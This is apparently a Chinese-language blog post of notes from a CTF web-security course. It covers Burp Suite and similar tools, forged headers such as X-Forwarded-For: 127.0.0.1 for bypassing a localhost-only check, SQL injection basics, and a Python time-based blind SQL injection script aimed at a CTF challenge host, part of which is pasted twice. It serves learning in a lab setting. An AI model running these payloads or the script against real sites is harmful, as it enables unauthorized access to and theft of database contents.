Background
因为自己CTF也是野路子出家,然后就报了个这种培训过一遍知识点,一是和不同人学习会有不同思维的碰撞,二是可以养成良好的学习习惯
第一天:工具应用和安装
提到了几个CTFer常用的工具
chrome+hackbar+burpsuite+postman
chrome上面用很多好用的插件,比如我就使用了一个可以一键配置burp代理的,还有就是f12头抓包,可以直接抓到请求的包
hackbar的优点我觉得在发post包,http头比较方便,虽然burp也可以实现,但实际上肯定相对冗杂,还有就是上面有一些常用的payload和编码什么的
burpsuite:我主要使用repeater模块和intruder模块,repeater就像刚才提到的可以重放http请求,可以实现多种http请求方式
postman:赵总强烈推荐的,使用了一下,发现确实页面华丽,功能多样,甚至可以直接用这个post文件上传
然后给出了几道练习题
https://buuoj.cn/login?next=%2Fchallenges%3F#BUU%20BRUTE%201
https://buuoj.cn/login?next=%2Fchallenges%3F#BUU%20CODE%20REVIEW%201
https://buuoj.cn/login?next=%2Fchallenges%3F#BUU%20BURP%20COURSE%201
是对基础工具的应用,但其实涉及知识点蛮多的,应该在课程后续会提到,我没做出来第三道题目,他说只允许本地访问,我想到的就是X-Forwarded-For,但实际上,可以利用的伪造头的
x-forwarded-for: 127.0.0.1
x-remote-IP: 127.0.0.1
x-remote-ip: 127.0.0.1
x-client-ip: 127.0.0.1
x-client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
有这么多
数据库基础和SQL注入
介绍了数据库基础的增删改查的语句
正常进行数据库的查询 id=1的时候
select username,password from users where id=1
id=1后面加上or 1=1
这时候where条件被or分割 1=1恒成立 所以就会列出来全部数据
那其实可以这样理解 SQL注入就是错误的把用户提交的数据,当成SQL语句来执行
SQL注入的正确防范方法
然后这里面介绍了sqlmap这一开源神器
数据库判别和手工注入基础
sqliteonline.com
有不同种数据库,在注入时候该如何判别
找异
联合查询时候的version函数
@@version
百度下常用的数据库版本函数特征
本质来说都是找不同,这里只是抛砖引玉
手工注入:无回显有回显
有回显步骤
order by 查字段数
union select的列数必须和字段数一致
information_schema 里面含有了库表信息
无回显步骤
使用延时注入
自己做题时候忘了用and...淦
使用脚本会减少工作量
脚本
import string
import requests
def request(request_id):
try:
# 延时注入,超时为真
requests.get("http://3fe95c7d-0f7e-4e19-8031-29704036606a.das-node.wetolink.com:82/?id={}".format(request_id),
timeout=5)
except:
return True
return False
# 要执行的语句
# sql = "select group_concat(distinct flag) from test.flag "
sql = "select database()"
outer_len_sql = "id=1 and if(length(({}))={},sleep(10),1)"
outer_sql = "id=1 and if(substring(({}),{},1)='{}',sleep(10),1)"
# 获取结果长度
import string
import requests
def request(request_id):
try:
# 延时注入,超时为真
requests.get("http://3fe95c7d-0f7e-4e19-8031-29704036606a.das-node.wetolink.com:82/?id={}".format(request_id),
timeout=5)
except:
return True
return False
# 要执行的语句
# sql = "select group_concat(distinct flag) from test.flag "
sql = "select database()"
outer_len_sql = "id=1 and if(length(({}))={},sleep(10),1)"
outer_sql = "id=1 and if(substring(({}),{},1)='{}',sleep(10),1)"
# 获取结果长度
length = 1
while True:
if request(outer_len_sql.format(sql, length)):
break
length += 1
print("长度:{}".format(length))
result = ""
for i in range(1, length + 1):
# 只测试可见字符
for j in string.printable:
if request(outer_sql.format(sql, i, j)):
result += j
print("结果:{}".format(result))
break
print("结果:{}".format(result))